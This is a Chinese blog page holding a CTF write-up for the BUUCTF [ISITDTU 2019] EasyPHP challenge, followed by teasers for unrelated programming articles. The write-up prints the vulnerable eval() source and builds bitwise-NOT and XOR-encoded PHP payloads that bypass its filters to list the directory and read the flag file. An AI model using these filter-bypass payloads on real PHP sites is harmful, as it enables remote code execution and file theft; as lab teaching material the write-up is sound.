当前位置：首页 > news >正文

98，【6】 buuctf web [ISITDTU 2019]EasyPHP

news 来源：原创 2025/5/15 12:28:29

进入靶场

代码

<?php
// 高亮显示当前 PHP 文件的源代码，通常用于调试或展示代码，方便用户查看代码逻辑
highlight_file(__FILE__);// 从 GET 请求中获取名为 '_' 的参数值，并赋值给变量 $_
// @ 符号用于抑制可能出现的错误信息，若未传递该参数则不会抛出警告
$_ = @$_GET['_'];// 使用正则表达式检查变量 $_ 中是否包含特定字符
// 这些字符包括空字符（\x00）、数字（0 - 9）、单引号（'）、双引号（"）、反引号（`）、美元符号（$）、
// 与符号（&）、逗号（,）、点号（.）、竖线（|）、左方括号（[）、左花括号（{）以及字母 defgops 等
// 若包含这些字符，则终止脚本执行并输出提示信息
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');// 对变量 $_ 进行小写转换，然后使用 count_chars 函数统计其中不同字符的数量
// 0x3 是 count_chars 函数的模式参数，表示返回一个数组，数组的键是字符的 ASCII 码，值是该字符出现的次数
// 接着获取该数组的长度，即不同字符的数量
// 如果不同字符的数量超过 13（0xd 是十六进制的 13），则终止脚本执行并输出提示信息
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');// 如果上述两个条件都不满足，则将变量 $_ 作为 PHP 代码进行执行
// 这种做法存在严重的安全风险，因为用户可以通过 GET 请求注入恶意代码
eval($_);
?>

总结：绕过正则匹配

字符数量不超过13

1，取反

phpinfo() 是 PHP 里一个十分实用的内置函数，它的主要作用是输出当前 PHP 环境的详细配置信息。

<?php
print(urlencode(~'phpinfo'));
?>

%8F%97%8F%96%91%99%90

/?_=(~%8F%97%8F%96%91%99%90)();

2，分析禁用函数

看看怎么使用没有被禁止的函数读取目录

<?php
echo(urlencode(~'print_r'));
echo nl2br("\n");
echo(urlencode(~'scandir'));
echo nl2br("\n");
echo(urlencode(~'.'));
?>

再测测长度

<?php
print(strlen(count_chars(strtolower('(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));'), 0x3)));
?>

超了

使用pscadi来代替ntr

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

直接读不了，肯定超长度，end()获得数组的最后一个值

show_source(end(scandir('.')))

((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

flag{664629c2-9083-4685-800a-f6ccbc5d0608}

98，【6】 buuctf web [ISITDTU 2019]EasyPHP

进入靶场代码 <?php // 高亮显示当前 PHP 文件的源代码，通常用于调试或展示代码，方便用户查看代码逻辑 highlight_file(__FILE__);// 从 GET 请求中获取名为 _ 的参数值，并赋值给变量 $_ // 符号用于抑制可能出现的错误信息&#xff…...

编程日记 2025/5/15 12:28:29

54【ip+端口+根目录通信】

上节课讲到，根目录起到定位作用，比如我们搭建一个php网站后，注册系统是由根目录的register.php文件执行，那么我们给这个根目录绑定域名https://127.0.0.1，当我们浏览器访问https://127.0.0.1/register.php时&#xff0…...

编程日记 2025/5/15 11:30:57

计算机网络应用层笔记（电子邮件系统，SMTP，POP3，MIME，IMAP，万维网，HTTP，html）

电子邮件系统： SMTP协议基本概念工作原理连接建立： 命令交互客户端发送命令： 服务器响应： 邮件传输： 连接关闭： 主要命令邮件发送流程 SMTP的缺点: MIME： POP3协议基本概念…...

编程日记 2025/5/15 11:16:52

解析PHP文件路径相关常量

PHP文件路径相关常量包括以下几个常量： __FILE__：表示当前文件的绝对路径，包括文件名。 __DIR__：表示当前文件所在的目录的绝对路径，不包括文件名。 dirname(__FILE__)：等同于__DIR__，表示当前…...

编程日记 2025/5/15 7:48:33

蓝桥与力扣刷题（234 回文链表）

题目：给你一个单链表的头节点 head ，请你判断该链表是否为回文链表。如果是，返回 true ；否则，返回 false 。示例 1： 输入：head [1,2,2,1] 输出：true示例 2： 输入&…...

编程日记 2025/5/15 11:15:48

【协议详解】卫星通信5G IoT NTN SIB33-NB 信令详解

一、SIB33信令概述在5G非地面网络（NTN）中，卫星的高速移动性和广域覆盖特性使得地面设备（UE）需要频繁切换卫星以维持连接。SIB32提供了UE预测当前服务的卫星覆盖信息，SystemInformationBlockType33&#x…...

编程日记 2025/5/14 13:55:21

c语言练习题【数据类型、递归、双向链表快速排序】

练习1：数据类型请写出以下几个数据的数据类型整数 a a 的地址存放a的数组 b 存放a的地址的数组 b的地址 c的地址指向 printf 函数的指针 d 存放 d的数组整数 a 的类型数据类型是 int a 的地址数据类型是 int*（指向 int 类型的指针） …...

编程日记 2025/5/14 21:43:58

SliverAppBar的功能和用法

文章目录 1 概念介绍2 使用方法3 示例代码我们在上一章回中介绍了SliverGrid组件相关的内容，本章回中将介绍SliverAppBar组件.闲话休提，让我们一起Talk Flutter吧。 1 概念介绍我们在本章回中介绍的SliverAppBar和普通的AppBar类似，它们的…...

编程日记 2025/5/14 6:18:05

deepseek 本地化部署和小模型微调

安装ollama 因为本人gpu卡的机器系统是centos 7, 直接使用ollama会报所以ollama使用镜像方式进行部署， 拉取镜像ollama/ollama 启动命令 docker run -d --privileged -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama 查看ollama 是否启动…...

编程日记 2025/5/15 11:55:59

Heptagon 同步语言介绍

同步语言于20世纪80年代创立，用于建模、设计和实现实时关键反应系统。随着被控制系统的复杂性不断增加，执行速度成为一个重要标准。与此同时，处理器在核心数量上的增长超过了速度的提升。因此，我们正在寻求一种并行执行方式&#…...

编程日记 2025/5/15 11:43:43

Golang 并发机制-5：详解syn包同步原语

并发性是现代软件开发的一个基本方面，Go（也称为Golang）为并发编程提供了一组健壮的工具。Go语言中用于管理并发性的重要包之一是“sync”包。在本文中，我们将概述“sync”包，并深入研究其最重要的同步原语之一&#xf…...

编程日记 2025/5/14 10:56:54

数组排序算法

数组排序算法用C语言实现的数组排序算法。排序算法平均时间复杂度最坏时间复杂度最好时间复杂度空间复杂度是否稳定适用场景QuickO(n log n)O(n)O(n log n)O(log n)不稳定大规模数据，通用排序BubbleO(n)O(n)O(n)O(1)稳定小规模数据，教学用途InsertO(n)…...

编程日记 2025/5/15 11:23:22

利用腾讯云cloud studio云端免费部署deepseek-R1

1. cloud studio 1.1 cloud studio介绍 Cloud Studio（云端 IDE）是基于浏览器的集成式开发环境，为开发者提供了一个稳定的云端工作站。支持CPU与GPU的访问。用户在使用 Cloud Studio 时无需安装，随时随地打开浏览器即可使用。Clo…...

编程日记 2025/5/15 12:08:00

Codeforces Round 1002 (Div. 2)(A-D)

题目链接：Dashboard - Codeforces Round 1002 (Div. 2) - Codeforces A. Milya and Two Arrays 思路数组a中不同数的数量*数组b的，就是能够组成不同数的数量代码 void solve(){int n;cin>>n;int cnt10;int cnt20;map<int,bool> mp;ma…...

编程日记 2025/5/15 2:52:57

半导体器件与物理篇7 微波二极管、量子效应和热电子器件

基本微波技术微波频率：微波频率涵盖约从0.1GHz到3000GHz，相当于波长从300cm到0.01cm。分布效应：电子部件在微波频率，与其在较低频率的工作行为不同。输运线：一个由电阻、电容、电感三种等效基本电路部件所组成的…...

编程日记 2025/5/15 2:52:54

Hot100之图论

200岛屿数量题目思路解析把访问过的格子插上棋子思想是先污染再治理，我们有一个inArea（）函数，是判断是否出界了我们先dfs（）放各个方向遍历，然后我们再把这个位置标为0 我们岛屿是连着…...

编程日记 2025/5/15 2:52:52

CSS 样式化表格：从基础到高级技巧

CSS 样式化表格：从基础到高级技巧 1. 典型的 HTML 表格结构2. 为表格添加样式2.1 间距和布局2.2 简单的排版2.3 图形和颜色2.4 斑马条纹2.5 样式化标题 3. 完整的示例代码4. 总结在网页设计中，表格是展示数据的常见方式。然而，默认的表格样式…...

编程日记 2025/5/15 2:52:10

DeepSeek相关技术整理

相关介绍 2024年12月26日，DeepSeek V3模型发布（用更低的训练成本，训练出更好的效果）671B参数，激活37B。2025年1月20日，DeepSeek-R1模型发布（仅需少量标注数据（高质量长cot&#xff…...

编程日记 2025/5/15 2:52:45

Spring Boot框架下的单元测试

1. 什么是单元测试 1.1 基本定义单元测试(Unit Test) 是对软件开发中最小可测单位（例如一个方法或者一个类）进行验证的一种测试方式。在 Java 后端的 Spring Boot 项目中，单元测试通常会借助 JUnit、Mockito 等框架对代码中核心逻辑进行快…...

编程日记 2025/5/14 11:02:31

OpenAI 实战进阶教程 - 第四节: 结合 Web 服务：构建 Flask API 网关

目标学习将 OpenAI 接入 Web 应用，构建交互式 API 网关理解 Flask 框架的基本用法实现 GPT 模型的 API 集成并返回结果内容与实操一、环境准备安装必要依赖： 打开终端或命令行，执行以下命令安装 Flask 和 OpenAI SDK： pip i…...

编程日记 2025/5/14 15:21:53

xss-labs靶场

xss-labs靶场 xss攻击类型反射型xss 即攻击者将恶意脚本嵌入到url或者表单中，当用户访问特定的url或者提交表单时（用户端请求时)，恶意脚本会执行攻击需要用户点击恶意链接或访问包含恶意参数的url触发存储型xss 即攻击者将恶意脚本提交…...

编程日记 2025/5/15 2:52:36

Eigen::Tensor使用帮助

0 引言用python实现了某些算法之后，想转成C来获取更高的性能。但是python数组的操作太灵活了，尤其是3维、4维、5维等高维数组，以及它们的广播、数组坐标、切片等机制。还有numpy的pad、where等操作更是给C转换带来了更多的麻烦。查阅了相…...

编程日记 2025/5/14 6:57:51

高阶开发基础——快速入门C++并发编程4

目录使用call_once来确保调用的唯一性先看我们的原始的单例模式使用call_once来确保调用的唯一性一个相似的概念是——单例模式，笔者找到的是stack_overflow的一个问答，如果不喜欢看英文，可以考虑看一下这个CSDN回答： c - H…...

编程日记 2025/5/15 2:52:31

C++基础day1

前言：谢谢阿秀，指路阿秀的学习笔记一、基础语法 1.构造和析构: 类的构造函数是一种特殊的函数，在创建一个新的对象时调用。类的析构函数也是一种特殊的函数，在删除所创建的对象时调用。构造顺序：父类->子类析…...

编程日记 2025/5/15 2:52:28

Deepseek：网页版OR本地部署版本？

使用本地部署的 DeepSeek 还是网页版的 DeepSeek，取决于具体需求和使用场景。以下是两者的对比及推荐建议： 响应速度网页版 DeepSeek：响应速度受网络状况和服务器负载影响较大。如果网络不稳定或服务器繁忙，可能会出现延迟甚至…...

编程日记 2025/5/15 2:52:24

【文件上传】

目录一. 介绍二. 本地存储三. 阿里云OSS3.1 准备工作3.2 入门程序3.3 案例集成3.4 程序优化 \quad 一. 介绍 \quad 三要素缺一不可 \quad 二. 本地存储 \quad 解决相同命名覆盖问题 \quad 三. 阿里云OSS \quad \quad 3.1 准备工作 \quad \quad 3.2 入门程序 \quad \quad 3.3…...

编程日记 2025/5/15 2:52:21

股票入门知识

股票入门（更适合中国宝宝体制） 股市基础知识本文介绍了股票的基础知识，股票的分类，各板块发行上市条件，股票代码，交易时间，交易规则，炒股术语，影响股价的因素&#xf…...

编程日记 2025/5/15 2:27:52

Debezium Oracle Connector SCN处理优化指南

Debezium Oracle Connector SCN处理优化指南 📌 问题场景 SCN跳跃场景：起始SCN：15,000（含数据变更）结束SCN：1,000,000（无中间数据）默认批次大小：10,000 → 需执行985次无效查询🚀 优化方案 1. 自适应批次调整代码位置：LogMinerStreamingChangeEventSource.j…...

编程日记 2025/5/15 2:52:14

2021版小程序开发5——小程序项目开发实践(1)

2021版小程序开发5——小程序项目开发实践(1) 学习笔记 2025 使用uni-app开发一个电商项目； Hbuidler 首选uni-app官方推荐工具：https://www.dcloud.io/hbuilderx.htmlhttps://dev.dcloud.net.cn/pages/app/list 微信小程序管理后台：htt…...

编程日记 2025/5/15 2:52:12

软件测试02----用例设计方法

今天目标 1.能对穷举场景设计测试点 2.能对限定边界规则设计测试点 3.能对多条件依赖关系进行设计测试点 4.能对项目业务进行设计测试点一、解决穷举场景重点：使用等价类划分法 1.1等价类划分法重点：有效等价和单个无效等价各取1个即可。步骤&#…...

编程日记 2025/5/15 2:52:08

分享半导体Fab 缺陷查看系统，平替klarity defect系统

分享半导体Fab 缺陷查看系统，平替klarity defect系统；开发了半年有余。查看Defect Map，Defect image，分析Defect size，defect count trend. 不用再采用klarity defect系统（license 太贵） 也可以…...

编程日记 2025/5/15 2:52:05

C语言-----数据结构从门到精通

1.数据结构基本概念数据结构是计算机中存储、组织数据的方式，旨在提高数据的访问和操作效率。它是实现高效算法和程序设计的基石。目标:通过思维导图了解数据结构的知识点,并掌握。 1.1逻辑结构逻辑结构主要四种类型: 集合：结构中的数据元素之…...

编程日记 2025/5/15 0:44:14

存储器知识点3

1.只读存储器中内容断电后不会丢失，通常存储固定不变的内容，不需要定时刷新。 2.虚拟存储器将主存和辅存地址空间统一编址，其大小受到辅助存储器容量的限制。使得主存空间得到了扩充，需要硬件支持，并由操作系统调度。…...

编程日记 2025/5/15 2:51:59

Weevely代码分析

亲测php5和php8都无效，只有php7有效 ailx10 1949 次咨询 4.9 网络安全优秀回答者互联网行业安全攻防员去咨询上一次做weevely实验可以追溯到2020年，当时还是weevely3.7，现在的是weevely4 生成php网页木马依然差不多…… php菜刀we…...

编程日记 2025/5/14 13:21:09

leetcode解题思路分析（一百六十三）1409 - 1415 题

查询带键的排列给定一个正整数数组 queries ，其取值范围在 1 到 m 之间。请你根据以下规则按顺序处理所有 queries[i]（从 i0 到 iqueries.length-1）： 首先，你有一个排列 P[1,2,3,…,m]。对于当前的 i ，找…...

编程日记 2025/5/15 2:12:08

【MATLAB例程】TOA和AOA混合的高精度定位程序，适用于三维、N锚点的情况

代码实现了一个基于到达角（AOA）和到达时间（TOA）混合定位的例程。该算法能够根据不同基站接收到的信号信息，自适应地计算目标的位置，适用于多个基站的场景文章目录主要功能代码结构运行结果程序代码主要功…...

编程日记 2025/5/15 2:51:49

PyTorch框架——基于深度学习YOLOv8神经网络学生课堂行为检测识别系统

基于YOLOv8深度学习的学生课堂行为检测识别系统，其能识别三种学生课堂行为：names: [举手, 读书, 写字] 具体图片见如下： 第一步：YOLOv8介绍 YOLOv8 是 ultralytics 公司在 2023 年 1月 10 号开源的 YOLOv5 的下一个重大更新版本…...

编程日记 2025/5/15 2:51:46

智慧园区系统对比不同智能管理模式提升企业运营效率与安全性

内容概要在当今竞争激烈的市场中，企业需要不断提高运营效率与安全性，以应对复杂的环境。这时，“智慧园区系统”应运而生，成为一种有效的解决方案。智能管理模式的多样性让企业在选择系统时有了更多的选择，而在这些模…...

编程日记 2025/5/15 2:51:43

读书笔记 | 《最小阻力之路》：用结构思维重塑人生愿景

一、核心理念：结构决定行为轨迹橡皮筋模型：愿景张力的本质书中提出：人类行为始终沿着"现状"与"愿景"之间的张力路径运动，如同橡皮筋拉伸产生的动力。案例：音乐家每日练习的坚持，不…...

编程日记 2025/5/14 8:44:00

257. 二叉树的所有路径

二叉树的所有路径已解答简单给你一个二叉树的根节点 root ，按任意顺序 ，返回所有从根节点到叶子节点的路径。叶子节点是指没有子节点的节点。示例 1： 输入：root [1,2,3,null,5] 输出：[“1->2->5”,“…...

编程日记 2025/5/15 2:51:38

Vulkan 学习(13)---- Vulkan Framebuffercommand buffer

目录 Vulkan Framebuffer创建 VkFramebufferVkFrameBuffer 创建示例 Vulkan command buffercommand buffer pool分配指令缓存池释放指令缓存池录制 command buffer提交 command buffer Vulkan Framebuffer Vulkan 帧缓冲区(FrameBuffer) 是一个容器对象(资源管理类的对象)&…...

编程日记 2025/5/14 11:02:29

从零开始学习安时积分法（STM32实现程序）

在STM32微控制器上实现安时积分法（Coulomb Counting）来估算电池的SOC（State of Charge），需要完成以下几个步骤： 硬件配置： 使用STM32的ADC模块测量电池的电流。使用定时器模块进行时间积分。配置…...

编程日记 2025/5/15 2:51:32

基于Kamailio、MySQL、Redis、Gin、Vue.js的微服务架构

每个服务使用一台独立的服务器的可行部署方案，尤其是在高并发、高可用性要求较高的场景中。这种方案通常被称为分布式部署或微服务架构。以下是针对您的VoIP管理系统（基于Kamailio、MySQL、Redis、Gin、Vue.js）的详细分析和建议。 1. 分布式部…...

编程日记 2025/5/15 2:51:29

Unity 粒子特效在UI中使用裁剪效果

1.使用Sprite Mask 首先建立一个粒子特效在UI中显示新建一个在场景下新建一个空物体，添加Sprite Mask组件，将其的Layer设置为UI相机渲染的UI层， 并将其添加到Canvas子物体中，调整好大小，并选择合适的Sprite&#xff…...

编程日记 2025/5/15 9:23:42

Android 开发：新的一年，新的征程

回顾 2023 年，Android 开发领域可谓成果斐然。这一年，Android 系统不断迭代，新技术、新工具层出不穷，为开发者们带来了前所未有的机遇与挑战。如今，我们站在新的起点，怀揣着对技术的热爱与追求，…...

编程日记 2025/5/14 10:20:39

手写MVVM框架-环境搭建

项目使用 webpack 进行进行构建，初始化步骤如下: 1.创建npm项目执行npm init 一直下一步就行 2.安装webpack、webpack-cli、webpack-dev-server，html-webpack-plugin npm i -D webpack webpack-cli webpack-dev-server html-webpack-plugin 3.配置webpac…...

编程日记 2025/5/15 2:51:20

SQL进阶实战技巧：某芯片工厂设备任务排产调度分析 | 间隙分析技术应用

目录 0 技术定义与核心原理 1 场景描述 2 数据准备 3 间隙分析法步骤1：原始时间线可视化...

编程日记 2025/5/15 2:51:18

[HOT 100] 0167. 两数之和 ||

文章目录 1. 题目链接2. 题目描述3. 题目示例4. 解题思路5. 题解代码6. 复杂度分析 1. 题目链接 167. 两数之和 II - 输入有序数组 - 力扣（LeetCode） 2. 题目描述给你一个下标从 1 开始的整数数组 numbers ，该数组已按非递减顺序排列 &…...

编程日记 2025/5/14 21:24:51

CSS整体回顾

一. 邂逅CSS和常见的CSS 1.1. CSS的编写方式 1.2. 常见的CSS font-size/color/width/height/backgroundColor 二. 文本属性 2.1. text-decoration 2.2. text-indent 2.3. text-align 三. 字体属性 3.1. font-family 3.2. font-style 3.3. font-weight 3.4. font-size 3.5. …...

编程日记 2025/5/15 2:51:12

使用 Grafana 和 Prometheus展现消息队列性能

引言上篇文章通过JMX提取Kafka数据，本篇文章将通过JDBC存储Kafka性能数据存储于数据库，并通过Grafana 和 Prometheus进行展示，实现开发中常用的可视化监控 1. 环境准备 Kafka：运行中的 Kafka 集群，确保可以…...

编程日记 2025/5/15 2:51:08

相关文章：